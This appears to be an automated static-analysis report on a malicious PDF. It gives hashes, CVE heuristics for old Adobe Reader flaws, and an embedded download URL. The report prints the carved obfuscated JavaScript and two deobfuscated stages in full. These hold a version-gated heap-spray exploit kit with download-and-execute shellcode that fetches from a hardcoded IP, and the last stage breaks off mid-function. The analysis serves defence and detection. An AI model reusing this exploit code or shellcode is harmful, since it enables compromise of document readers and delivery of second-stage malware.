Malicious PDF — malware analysis report

Static analysis result for SHA-256 af10f8f4be66ab9e…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-09
MD5: f0b1b723f55f9e33fd35be1ac7673592 SHA-1: 45035b05d0a2ae2f0bc7844b53c0f2fbc7226b16 SHA-256: af10f8f4be66ab9e9eda0c17c1962075420230bafb6ead1e969c5e19c2300f86
490 Risk Score

Malware Insights

The PDF file was flagged by a machine learning classifier with a very high probability of being malicious. Static analysis revealed embedded JavaScript, which is a common technique for delivering second-stage payloads or exploiting vulnerabilities. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to execute arbitrary code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=79&e=5 Referenced by PDF JavaScript

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11624 bytes
SHA-256: 561b27f371981b6b99cd23a33098d2dab84556ae458e382e5f2184eb7ee916c3
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(23,73,67,16,67,10,40,10,51,51,18,5,57,69,28,10,29,0,44,61,17,17,29,0,73,33,16,55,29,0,44,37,73,33,29,0,45,37,16,55,29,0,16,11,61,55,29,0,61,61,37,73,29,0,17,55,33,54,29,0,55,54,44,18,29,0,44,18,61,54,29,0,54,33,55,54,29,0,45,54,44,18,29,0,37,17,40,33,29,0,45,17,44,18,29,0,61,61,54,44,29,0,17,17,30,18,29,0,37,16,44,18,29,0,54,61,61,33,29,0,61,61,45,55,29,0,44,40,2,33,29,0,40,37,16,16,29,0,73,73,40,54,29,0,18,44,73,73,29,0,55,54,44,18,29,0,33,61,61,54,29,0,61,11,55,17,29,0,45,37,54,17,29,0,44,45,73,18,29,0,2,55,61,55,29,0,16,55,44,37,29,0,37,40,45,37,29,0,16,18,16,11,29,0,37,40,55,33,29,0,44,18,37,17,29,0,61,33,45,37,29,0,45,55,44,18,29,0,45,44,61,37,29,0,73,37,54,61,29,0,44,18,37,17,29,0,2,54,45,17,29,0,73,37,54,61,29,0,33,11,61,61,29,0,55,40,55,11,29,0,63,30,73,33,29,0,33,37,54,61,29,0,30,18,61,61,29,0,18,16,54,73,29,0,61,44,40,54,29,0,45,55,73,2,29,0,33,40,54,44,29,0,54,30,33,18,29,0,30,63,54,61,29,0,16,18,55,54,29,0,61,18,73,40,29,0,45,37,40,73,29,0,37,16,16,17,29,0,37,16,44,18,29,0,54,61,2,55,29,0,17,17,30,30,29,0,54,33,44,18,29,0,44,30,55,18,29,0,16,33,55,17,29,0,37,55,73,73,29,0,54,33,2,55,29,0,30,44,44,18,29,0,30,30,54,61,29,0,54,55,44,18,29,0,54,61,44,18,29,0,63,18,33,37,29,0,37,11,37,16,29,0,16,18,33,61,29,0,63,30,37,61,29,0,17,44,44,18,29,0,44,54,2,54,29,0,54,33,45,30,29,0,45,55,61,61,29,0,11,17,54,61,29,0,73,61,16,18,29,0,17,44,44,18,29,0,44,18,54,44,29,0,17,63,73,45,29,0,37,11,54,37,29,0,11,44,16,44,29,0,73,73,73,73,29,0,16,2,73,73,29,0,16,44,73,11,29,0,54,54,54,54,29,0,54,54,54,54,29,0,37,54,37,44,29,0,55,54,17,63,29,0,73,73,17,44,29,0,54,54,54,54,29,0,37,54,54,54,29,0,33,54,44,61,29,0,37,54,40,11,29,0,44,18,37,37,29,0,44,18,16,33,29,0,40,54,37,16,29,0,33,61,44,61,29,0,73,73,54,37,29,0,17,44,16,61,29,0,17,16,17,73,29,0,54,54,54,54,29,0,45,37,17,44,29,0,17,33,45,2,29,0,37,55,17,30,29,0,40,17,73,73,29,0,33,55,44,61,29,0,44,18,54,44,29,0,16,44,16,44,29,0,73,73,17,40,29,0,73,73,73,73,29,0,54,2,16,18,29,0,45,2,16,18,29,0,16,33,44,40,29,0,54,40,54,55,29,0,54,54,54,54,29,0,37,33,44,30,29,0,54,33,2,55,29,0,54,55,33,45,29,0,45,2,2,55,29,0,17,45,17,37,29,0,33,45,45,61,29,0,2,55,55,55,29,0,45,17,54,55,29,0,61,61,45,2,29,0,33,45,61,2,29,0,2,55,55,55,29,0,2,54,54,44,29,0,45,61,2,30,29,0,37,61,2,54,29,0,73,44,17,44,29,0,54,54,54,54,29,0,73,73,54,54,29,0,54,33,37,17,29,0,16,44,44,18,29,0,33,11,61,61,29,0,33,45,37,40,29,0,40,30,55,55,29,0,45,45,54,54,29,0,17,2,45,54,29,0,33,45,45,55,29,0,40,30,55,55,29,0,2,16,54,37,29,0,17,33,17,55,29,0,33,17,17,33,29,0,40,30,55,55,29,0,54,54,54,11,29,0,44,63,37,11,29,0,54,55,33,40,29,0,44,44,61,54,29,0,40,30,55,55,29,0,55,40,54,55,29,0,17,63,37,40,29,0,17,63,54,54,29,0,37,61,54,54,29,0,17,63,37,45,29,0,73,73,54,54,29,0,40,55,37,17,29,0,33,54,44,37,29,0,40,17,45,37,29,0,54,54,17,63,29,0,73,73,37,61,29,0,54,55,37,17,29,0,54,54,17,63,29,0,16,18,44,61,29,0,37,61,54,33,29,0,37,17,73,73,29,0,44,61,54,55,29,0,54,33,33,61,29,0,54,2,16,18,29,0,40,61,16,18,29,0,44,54,55,45,29,0,54,54,61,73,29,0,73,63,45,37,29,0,44,54,55,45,29,0,54,54,61,73,29,0,33,55,45,37,29,0,54,54,17,63,29,0,73,16,17,63,29,0,37,17,73,73,29,0,16,44,54,44,29,0,73,16,11,33,29,0,73,73,73,73,29,0,55,16,44,16,29,0,16,33,54,16,29,0,73,16,11,44,29,0,54,16,44,63,29,0,17,73,44,11,29,0,18,30,54,40,29,0,33,63,61,61,29,0,37,18,44,63,29,0,33,17,40,18,29,0,45,11,55,17,29,0,40,63,61,17,29,0,45,54,2,73,29,0,45,55,17,44,29,0,45,54,45,55,29,0,2,73,61,63,29,0,61,17,2,73,29,0,2,16,61,17,29,0,61,11,61,40,29,0,2,16,61,11,29,0,61,2,61,2,29,0,2,16,61,11,29,0,61,54,61,37,29,0,45,45,2,73,29,0,45,54,2,16,29,0,45,54,17,44,29,0,17,17,61,73,29,0,61,45,61,30,29,0,2,17,61,11,29,0,61,30,17,37,29,0,54,54,61,37,29,0,54,54,54,54,10,68,73,0,13,33,58,23,60,13,22,16,66,9,64,67,64,63,20,70,65,51,35,48,74,23,15,16,67,64,63,34,15,16,13,69,58,74,50,2,46,70,65,51,35,64,63,72,28,64,63,68,52,64,63,28,64,63,34,57,0,18,57,58,64,23,13,69,67,54,20,70,65,42,2,51,68,64,16,58,0,64,13,22,64,63,68,52,22,73,0,13,33,58,23,60,13,22,18,71,67,51,35,9,63,64,22,30,49,69,28,13,16,48,22,39,64,64,63,65,67,51,68,9,63,64,22,9,48,28,54,71,54,33,54,33,54,33,54,33,68,9,63,64,22,63,30,30,64,28,54,71,55,54,54,54,54,54,68,9,63,64,22,3,63,65,15,60,63,30,28,0,13,16,57,33,63,3,16,67,18,5,57,69,51,68,9,63,64,22,57,33,27,15,16,13,28,3,63,65,15,60,63,30,34,15,16,13,69,58,74,50,2,68,9,63,64,22,70,65,28,63,30,30,64,62,67,57,33,27,15,16,13,72,54,71,61,44,51,68,9,63,64,22,65,63,64,57,3,28,0,13,16,57,33,63,3,16,67,43,29,0,11,54,11,54,29,0,11,54,11,54,43,51,68,65,63,64,57,3,28,16,66,9,64,67,65,63,64,57,3,20,70,65,51,68,9,63,64,22,33,60,0,13,58,2,28,67,9,48,62,54,71,55,54,54,54,54,54,51,42,63,30,30,64,68,73,60,64,67,9,63,64,22,33,60,0,13,58,28,54,68,33,60,0,13,58,46,33,60,0,13,58,2,68,33,60,0,13,58,72,72,51,35,30,49,69,4,33,60,0,13,58,8,28,65,63,64,57,3,72,3,63,65,15,60,63,30,68,52,22,9,63,64,22,60,9,16,64,73,15,60,48,28,0,13,16,57,33,63,3,16,67,43,29,0,54,33,54,33,29,0,54,33,54,33,43,51,68,48,74,23,15,16,67,60,9,16,64,73,15,60,48,34,15,16,13,69,58,74,46,55,55,11,37,2,51,35,60,9,16,64,73,15,60,48,72,28,60,9,16,64,73,15,60,48,68,52,22,58,74,23,57,34,33,60,15,15,63,18,36,58,60,64,16,28,21,60,15,15,63,18,34,33,60,15,15,16,33,58,31,7,63,23,15,59,13,73,60,67,35,57,0,18,5,47,43,43,20,7,57,69,47,60,9,16,64,73,15,60,48,52,51,68,52,22,73,0,13,33,58,23,60,13,22,3,64,23,13,58,73,67,51,35,13,60,3,28,0,13,16,57,33,63,3,16,67,43,29,0,54,39,54,39,29,0,54,39,54,39,29,0,54,39,54,39,29,0,54,39,54,39,43,51,68,9,63,64,22,3,63,65,15,60,63,30,28,0,13,16,57,33,63,3,16,67,18,5,57,69,51,68,74,16,63,3,18,15,60,33,49,28,13,60,3,72,3,63,65,15,60,63,30,68,18,23,69,18,15,60,33,49,28,0,13,16,57,33,63,3,16,67,43,29,0,54,39,54,39,29,0,54,39,54,39,43,51,68,74,16,63,30,16,64,57,23,66,16,28,2,54,68,57,3,64,63,65,28,74,16,63,30,16,64,57,23,66,16,72,74,16,63,3,18,15,60,33,49,34,15,16,13,69,58,74,68,48,74,23,15,16,67,18,23,69,18,15,60,33,49,34,15,16,13,69,58,74,46,57,3,64,63,65,51,35,18,23,69,18,15,60,33,49,72,28,18,23,69,18,15,60,33,49,68,52,22,73,23,15,15,18,15,60,33,49,28,18,23,69,18,15,60,33,49,34,57,0,18,57,58,64,23,13,69,67,54,20,57,3,64,63,65,51,68,18,15,60,33,49,28,18,23,69,18,15,60,33,49,34,57,0,18,57,58,64,23,13,69,67,54,20,18,23,69,18,15,60,33,49,34,15,16,13,69,58,74,62,57,3,64,63,65,51,68,48,74,23,15,16,67,18,15,60,33,49,34,15,16,13,69,58,74,72,57,3,64,63,65,46,54,71,55,54,54,54,54,51,35,18,15,60,33,49,28,18,15,60,33,49,72,18,15,60,33,49,72,73,23,15,15,18,15,60,33,49,68,52,22,7,16,7,28,13,16,48,22,39,64,64,63,65,67,51,68,73,60,64,67,23,28,54,68,23,46,40,55,54,54,68,23,72,72,51,35,7,16,7,4,23,8,28,18,15,60,33,49,72,74,16,63,3,18,15,60,33,49,68,52,22,9,63,64,22,13,0,7,28,40,2,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,44,68,0,58,23,15,34,3,64,23,13,58,73,67,43,29,55,37,54,54,54,73,43,20,13,0,7,51,68,52,22,73,0,13,33,58,23,60,13,22,69,16,58,23,33,60,13,67,51,35,9,63,64,22,63,64,64,65,28,13,16,48,22,39,64,64,63,65,67,51,68,23,73,67,63,3,3,34,30,60,33,34,21,60,15,15,63,18,34,69,16,58,59,33,60,13,51,35,9,63,64,22,3,63,65,15,60,63,30,28,0,13,16,57,33,63,3,16,67,18,5,57,69,51,68,9,63,64,22,74,53,70,37,54,54,21,1,28,3,63,65,15,60,63,30,34,15,16,13,69,58,74,50,2,68,9,63,64,22,70,65,28,54,71,55,54,54,54,54,54,62,67,74,53,70,37,54,54,21,1,72,54,71,61,44,51,68,9,63,64,22,65,63,64,57,3,28,0,13,16,57,33,63,3,16,67,43,29,0,11,54,11,54,29,0,11,54,11,54,43,51,68,65,63,64,57,3,28,16,66,9,64,67,65,63,64,57,3,20,70,65,51,68,9,63,64,22,3,37,39,5,19,17,37,73,28,67,54,71,54,33,54,33,54,33,54,33,62,54,71,55,54,54,54,54,54,51,42,54,71,55,54,54,54,54,54,68,73,60,64,67,9,63,64,22,9,70,33,56,32,11,17,65,28,54,68,9,70,33,56,32,11,17,65,46,3,37,39,5,19,17,37,73,68,9,70,33,56,32,11,17,65,72,72,51,35,63,64,64,65,4,9,70,33,56,32,11,17,65,8,28,65,63,64,57,3,72,3,63,65,15,60,63,30,68,52,22,9,63,64,22,58,38,14,74,1,18,12,48,28,0,13,16,57,33,63,3,16,67,43,29,54,11,43,51,68,48,74,23,15,16,67,58,38,14,74,1,18,12,48,34,15,16,13,69,58,74,46,54,71,55,54,54,54,51,35,58,38,14,74,1,18,12,48,72,28,58,38,14,74,1,18,12,48,68,52,22,58,38,14,74,1,18,12,48,28,43,1,34,43,72,58,38,14,74,1,18,12,48,68,63,3,3,34,30,60,33,34,21,60,15,15,63,18,34,69,16,58,59,33,60,13,67,58,38,14,74,1,18,12,48,51,68,52,52,22,63,6,15,0,69,23,13,57,28,63,3,3,34,3,15,0,69,59,13,57,68,9,63,64,22,57,9,28,3,63,64,57,16,59,13,58,67,63,3,3,34,9,23,16,48,16,64,26,16,64,57,23,60,13,34,58,60,36,58,64,23,13,69,67,51,34,33,74,63,64,39,58,67,54,51,51,68,73,60,64,67,9,63,64,22,23,28,54,68,23,46,63,6,15,0,69,23,13,57,34,15,16,13,69,58,74,68,23,72,72,51,35,23,73,67,63,6,15,0,69,23,13,57,4,23,8,34,13,63,7,16,28,28,10,31,36,33,64,23,3,58,10,51,35,9,63,64,22,15,9,28,63,6,15,0,69,23,13,57,4,23,8,34,9,16,64,57,23,60,13,68,52,52,22,23,73,67,67,15,9,28,28,11,51,24,24,67,67,57,9,28,28,44,51,25,25,67,15,9,46,28,44,34,40,2,51,51,51,35,69,16,58,23,33,60,13,67,51,68,52,16,15,57,16,22,23,73,67,15,9,28,28,45,34,40,51,35,3,64,23,13,58,73,67,51,68,52,16,15,57,16,22,23,73,67,67,67,57,9,28,28,17,51,24,24,67,57,9,28,28,45,51,51,25,25,67,15,9,46,45,34,40,40,51,51,35,18,71,67,51,68,52,16,15,57,16,22,23,73,67,67,15,9,75,28,11,34,40,51,24,24,67,15,9,46,28,11,34,2,51,24,24,67,15,9,75,28,44,34,40,61,51,24,24,67,15,9,46,28,44,34,40,45,51,51,35,73,0,13,33,58,23,60,13,22,63,67,51,35,0,58,23,15,34,3,64,23,13,58,30,67,10,3,41,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,22,47,22,65,65,65,65,40,40,40,10,20,13,16,48,22,32,63,58,16,67,51,51,68,52,9,63,64,22,74,28,63,3,3,34,3,15,0,69,59,13,57,68,73,60,64,67,9,63,64,22,73,28,54,68,73,46,74,34,15,16,13,69,58,74,68,73,72,72,51,35,23,73,67,74,4,73,8,34,13,63,7,16,28,28,10,31,36,33,64,23,3,58,10,51,35,9,63,64,22,23,28,74,4,73,8,34,9,16,64,57,23,60,13,68,52,52,22,23,73,67,67,23,75,44,34,40,2,51,25,25,67,23,46,44,34,2,51,51,35,33,28,13,16,48,22,39,64,64,63,65,67,51,68,9,63,64,22,30,28,0,13,16,57,33,63,3,16,67,10,29,0,11,54,11,54,29,0,11,54,11,54,10,51,68,9,63,64,22,16,28,0,13,16,57,33,63,3,16,67,18,5,57,69,51,68,48,74,23,15,16,67,30,34,15,16,13,69,58,74,46,28,54,71,44,54,54,54,51,35,30,72,28,30,68,52,30,28,30,34,57,0,18,57,58,64,67,54,20,54,71,44,54,54,54,62,16,34,15,16,13,69,58,74,51,68,73,60,64,67,73,28,54,68,73,46,2,11,54,54,68,73,72,72,51,35,33,4,73,8,28,30,72,16,68,52,63,67,51,68,63,67,51,68,58,64,65,35,58,74,23,57,34,7,16,30,23,63,34,13,16,48,6,15,63,65,16,64,67,13,0,15,15,51,68,52,33,63,58,33,74,67,16,51,35,52,63,67,51,68,52,52);
a=new String("uN2p[jPm]v'9GnMle6bK,C i|&V_=%dEDc.{S5UA1@/'87<:wk*)}W04QstIo3-aryz(;gqx+fh>");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 8ef3bbdc887282400580991a358ad8b60a340bfe594775bbff7accb2f9772b09
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u373d%u2639%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 7ad2e36f511bc59997af32ffe406743788bc64767bc1ea8c2ff701afed49a8d7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u373d%u2639%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 